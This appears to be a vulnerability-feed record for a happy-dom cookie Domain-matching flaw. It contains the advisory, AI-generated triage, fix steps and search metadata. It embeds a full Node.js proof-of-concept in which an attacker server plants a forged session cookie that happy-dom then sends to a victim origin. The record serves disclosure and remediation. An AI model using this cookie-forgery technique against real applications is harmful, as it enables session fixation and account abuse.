{"id":"CVE-2026-118661","kind":"vulnerability","aliases":["CVE-2026-118661","GHSA-5fpq-26gf-qwcr"],"related":[],"title":"Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies","description":"### Summary\nA cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.\n\n### Details\nhappy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.\n\n### PoC\n\nRun:\n```bash\nnode poc-happydom-cookie-domain.js\n```\n\nFull proof-of-concept source (poc-happydom-cookie-domain.js):\n```js\n// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation\n// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)\n//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)\n//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)\n//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie\n// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\nconst ATK_PORT = 19311; // attacker server, 127.0.0.1\nconst VIC_PORT = 19312; // victim server, localhost\n\nlet victimReceivedCookies = [];\n\nlet attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;\n\nconst attacker = http.createServer((req, res) => {\n  if (req.method === 'OPTIONS') {\n    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the\n    // attacker trivially answers it — an attacker-controlled server always can)\n    res.writeHead(204, {\n      'Access-Control-Allow-Origin': '*',\n      'Access-Control-Allow-Methods': 'GET, OPTIONS',\n      'Access-Control-Allow-Headers': '*'\n    });\n    res.end();\n    return;\n  }\n  res.writeHead(200, {\n    'content-type': 'image/gif',\n    'Access-Control-Allow-Origin': '*',\n    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.\n    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of\n    // the request-host; localhost is also on the Mozilla PSL).\n    'Set-Cookie': attackerSetCookie\n  });\n  res.end('GIF89a');\n});\n\nconst victim = http.createServer((req, res) => {\n  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ ok: true, user: 'alice' }));\n});\n\nfunction sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }\n\nasync function runScenario(scenario) {\n  victimReceivedCookies = [];\n  const win = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: {\n      enableJavaScriptEvaluation: true,\n      suppressInsecureJavaScriptEnvironmentWarning: true\n    }\n  });\n  try {\n    if (scenario === 'no-plant-control') {\n      // Control: app NEVER contacts attacker -> victim must receive NO cookie\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else if (scenario === 'honest-domain-control') {\n      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)\n      // -> cookie must NOT leak to localhost victim\n      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else {\n      // attack: app fetches attacker content (scraping/SSR/third-party resource)\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    }\n    await sleep(150);\n    return victimReceivedCookies;\n  } finally {\n    win.happyDOM.abort();\n  }\n}\n\nasync function main() {\n  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));\n  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));\n\n  console.log('=== happy-dom cookie-domain scoping PoC ===\\n');\n\n  const attack = await runScenario('attack');\n  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');\n  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));\n  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);\n\n  const noPlant = await runScenario('no-plant-control');\n  console.log('\\n[CONTROL] app never contacts attacker');\n  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  const honest = await runScenario('honest-domain-control');\n  console.log('\\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');\n  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)\n  const win2 = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }\n  });\n  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!\n  const readBack = win2.document.cookie;\n  console.log(`\\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);\n  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);\n  win2.happyDOM.abort();\n\n  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)\n  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');\n  const matchesBoundary = CookieURLUtility.cookieMatchesURL(\n    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },\n    new URL('https://notexample.com/')\n  );\n  console.log(`\\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);\n  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);\n\n  attacker.close();\n  victim.close();\n  process.exit(0);\n}\n\nmain().catch((e) => { console.error(e); process.exit(1); });\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true\n  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match\n```\n\n### Impact\nCookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.","summary":"happy-dom matches a cookie's Domain attribute by plain string suffix, so Domain=example.com also matches notexample.com, and a cookie set by one origin can be sent to another. An attacker who can make the app fetch attacker-controlled content can plant cookies that the app then sends to its own origin.","severity":"medium","cvss":6.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"happy-dom","fixed":["20.14.6"],"affected":"<= 20.14.5","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-565","happy-dom","node","npm","package","prerender","ssr"],"not_affected_if":["no-untrusted-fetch","test-only-usage"],"how_to_check":"- Run `node --version` and `npm ls happy-dom` to find the installed happy-dom version\n- Search lockfiles for `happy-dom` and check whether it is used in SSR, prerender or scraping code that handles cookies","fix":"- Upgrade `happy-dom` to `20.14.6` or later\n- Until upgraded, avoid relying on happy-dom cookie handling for SSR or prerender of untrusted content","status":"open","published_at":"2026-10-28T21:06:13+00:00","first_seen_at":"2026-10-28T21:07:44+00:00","triaged_at":"2026-10-28T21:09:26+00:00","updated_at":"2026-10-28T21:09:26+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-10-28T21:09:26Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `happy-dom` to `20.14.6` or later\n- Until upgraded, avoid relying on happy-dom cookie handling for SSR or prerender of untrusted content","reach":"network","title":"happy-dom: cookie Domain matching accepts lookalike hosts, forging cookies","impact":"medium","summary":"happy-dom matches a cookie's Domain attribute by plain string suffix, so Domain=example.com also matches notexample.com, and a cookie set by one origin can be sent to another. An attacker who can make the app fetch attacker-controlled content can plant cookies that the app then sends to its own origin.","category":"package","nicknames":[],"who_cares":["npm","happy-dom","ssr","prerender","node"],"confidence":0.7,"needs_auth":"no","worst_case":"Attacker plants cookies that the app later sends to its own origin","analyst_note":"Confirm the real-world exposure of SSR/prerender use and whether the cookie can be used for session fixation in practice; see GHSA-5fpq-26gf-qwcr.","how_to_check":"- Run `node --version` and `npm ls happy-dom` to find the installed happy-dom version\n- Search lockfiles for `happy-dom` and check whether it is used in SSR, prerender or scraping code that handles cookies","needs_analyst":true,"not_affected_if":["test-only-usage","no-untrusted-fetch"],"who_is_affected":"Only projects that use happy-dom at runtime and rely on its cookie handling, such as SSR or prerendering that fetches third-party resources. Use as a test DOM with no untrusted fetches is much less exposed. The sources do not describe a specific exploitable app pattern beyond this.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.000953,"input_tokens":6376,"output_tokens":631,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-118661':22A,30A '-2026':21A,29A '-565':35B '-7':237C '/api/account':480C,526C,546C '/plant':520C,540C '/users/rncb0/appdata/local/temp/0day':255C '127.0':564C '127.0.0.1':207C,224C,274C,371C,492C,510C,517C,537C '150':549C '19311':271C '19312':278C '20.11.6':146C '200':351C,419C '204':330C '26gf':26A '5.3.6':236C '5fpq':25A '6265':235C,379C 'access':332C,337C,344C,357C 'access-control-allow-head':343C 'access-control-allow-method':336C 'access-control-allow-origin':331C,356C 'alic':429C 'allow':334C,339C,346C,359C 'also':60B,395C 'alway':327C 'anoth':74B 'answer':320C 'app':81B,92B,199C,239C,466C,529C 'application/json':423C 'async':440C,554C 'atk':269C,518C,538C,562C 'attack':15A,76B,84B,111C,205C,209C,272C,289C,297C,318C,324C,361C,469C,489C,508C,528C,531C 'attacker-control':83B,323C 'attacker.listen':561C 'attackersetcooki':285C,403C,504C 'attribut':52B,382C 'await':475C,515C,521C,535C,541C,547C,557C 'bash':171C 'boundari':11A,140C 'browser':123C,143C,232C,373C 'bug':104C 'c':254C 'carri':248C 'cd':253C 'chain':198C 'claim':362C 'concept':178C 'const':258C,262C,268C,275C,296C,406C,445C 'contact':468C 'content':86B,353C,421C,532C 'content-typ':352C,420C 'control':85B,325C,333C,338C,345C,358C,464C,465C,487C,488C 'cooki':4A,19A,49B,65B,89B,102C,114C,164C,187C,194C,212C,251C,377C,402C,414C,416C,474C,497C 'cookie-domain':186C 'cookie-scop':101C 'cookiematchesurl':149C 'cor':304C 'cross':192C 'cross-origin':191C 'cve':20A,28A 'cwe':34B 'detail':125C 'diverg':121C,141C 'dns':9A,138C 'dns-label':8A,137C 'dom':2A,33A,38B,46B,108C,128C,159C,185C,227C,267C,308C 'domain':13A,51B,58B,130C,150C,188C,214C,290C,363C,381C,386C,486C,491C,509C 'domain-attribut':380C 'domain-match':385C 'els':481C,527C 'enablejavascriptevalu':454C 'endswith':134C 'enforc':309C 'even':365C 'example.com':59B,131C,151C 'fetch':82B,204C,244C,530C 'final':552C 'fixat':197C 'forg':250C,287C,506C 'forgeri':6A 'full':174C 'function':430C,441C,555C 'gap':190C 'get':341C 'ghsa':24A 'ghsa-5fpq-26gf-qwcr':23A 'gif89a':405C 'handl':165C 'happi':1A,37B,45B,107C,127C,158C,184C,226C,266C,307C 'happy':32A 'happy-dom':31A,36B,44B,106C,126C,157C,183C,225C,265C,306C 'header':347C 'honest':485C,496C 'honest-domain-control':484C 'host':217C,392C,495C 'http':259C,261C 'http.createserver':298C,408C 'ignor':375C 'image/gif':355C 'inject':195C 'js':181C 'json.stringify':425C 'label':10A,139C 'latest':148C 'leak':500C 'let':109C,282C,284C 'localhost':202C,215C,246C,281C,291C,364C,393C,450C,477C,502C,523C,543C 'main':556C 'make':79B 'match':14A,47B,61B,129C,166C,387C 'method':340C 'mozilla':398C 'ms':432C,439C 'must':374C,471C,498C 'never':467C 'new':434C,447C,558C 'no-plant-control':461C 'node':39B,172C,256C 'none':294C,513C 'notexample.com':62B,133C,153C 'npm':40B,147C 'null':417C 'ok':426C 'one':68B 'option':303C,342C 'origin':16A,69B,98B,112C,118C,193C,243C,312C,335C,360C 'packag':41B 'path':292C,412C,511C 'plain':54B 'plant':88B,463C 'poc':169C,182C 'poc-happydom-cookie-domain.js':173C,180C 'poc/poc-happydom-cookie-domain.js':257C 'polici':313C 'port':270C,277C,452C,479C,519C,525C,539C,545C,563C 'port1':208C 'port2':203C 'port2/api/account':247C 'preflight':305C,316C 'prerend':42B 'promis':435C,559C 'proof':176C 'proof-of-concept':175C 'psl':238C,399C 'qwcr':27A 'r':436C,438C,560C 'real':231C 'receiv':120C,472C 'reject':233C 'relev':155C 'req':299C,409C 'req.headers':415C 'req.method':302C 'req.url':413C 'request':391C 'request-host':390C 'requir':260C,264C 'res':300C,410C 'res.end':348C,404C,424C 'res.writehead':329C,350C,418C 'resourc':534C 'return':349C,433C,550C 'rfc':234C,378C 'run':170C,252C 'runscenario':442C 'same-origin':241C,310C 'samesit':293C,512C 'scenario':443C,460C,483C 'scope':5A,103C,189C 'scraping/ssr/third-party':533C 'secur':295C,514C 'semant':124C,144C 'send':94B 'sent':72B 'serv':369C 'server':206C,273C,280C,326C 'session':196C,286C,505C 'set':17A,66B,113C,211C,401C,453C,490C 'set-cooki':210C,400C 'settimeout':437C 'sleep':431C,548C 'sourc':179C 'src/cookie/cookiecontainer.ts':168C 'ssr':43B 'ssr/prerender':163C 'store':228C 'string':55B 'suffix':56B,222C 'summari':99C 'suppressinsecurejavascriptenvironmentwarn':456C 'though':366C 'tri':458C 'trivial':319C 'true':154C,427C,455C,457C 'type':354C,422C 'url':152C,449C 'use':161C 'user':428C 'verifi':145C 'vic':276C,451C,478C,524C,544C 'victim':18A,117C,279C,407C,470C,503C 'victimreceivedcooki':283C,444C,551C 'victimreceivedcookies.push':411C 'win':446C 'win.fetch':476C,516C,522C,536C,542C 'win.happydom.abort':553C 'window':200C,263C,448C 'without':135C","nicknames":[],"mitigations":[],"who_affected":"Only projects that use happy-dom at runtime and rely on its cookie handling, such as SSR or prerendering that fetches third-party resources. Use as a test DOM with no untrusted fetches is much less exposed. The sources do not describe a specific exploitable app pattern beyond this.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T21:06:13+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-5fpq-26gf-qwcr","url":"https://github.com/advisories/GHSA-5fpq-26gf-qwcr","severity":"medium","published_at":"2026-10-28T21:06:13+00:00","modified_at":"2026-10-28T21:06:14+00:00","first_seen_at":"2026-10-28T21:07:44+00:00","fetched_at":"2026-10-28T21:07:44+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-118661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118661","severity":null,"published_at":"2026-10-28T21:16:56+00:00","modified_at":"2026-10-28T21:16:56+00:00","first_seen_at":"2026-10-28T21:35:45+00:00","fetched_at":"2026-10-28T21:35:45+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}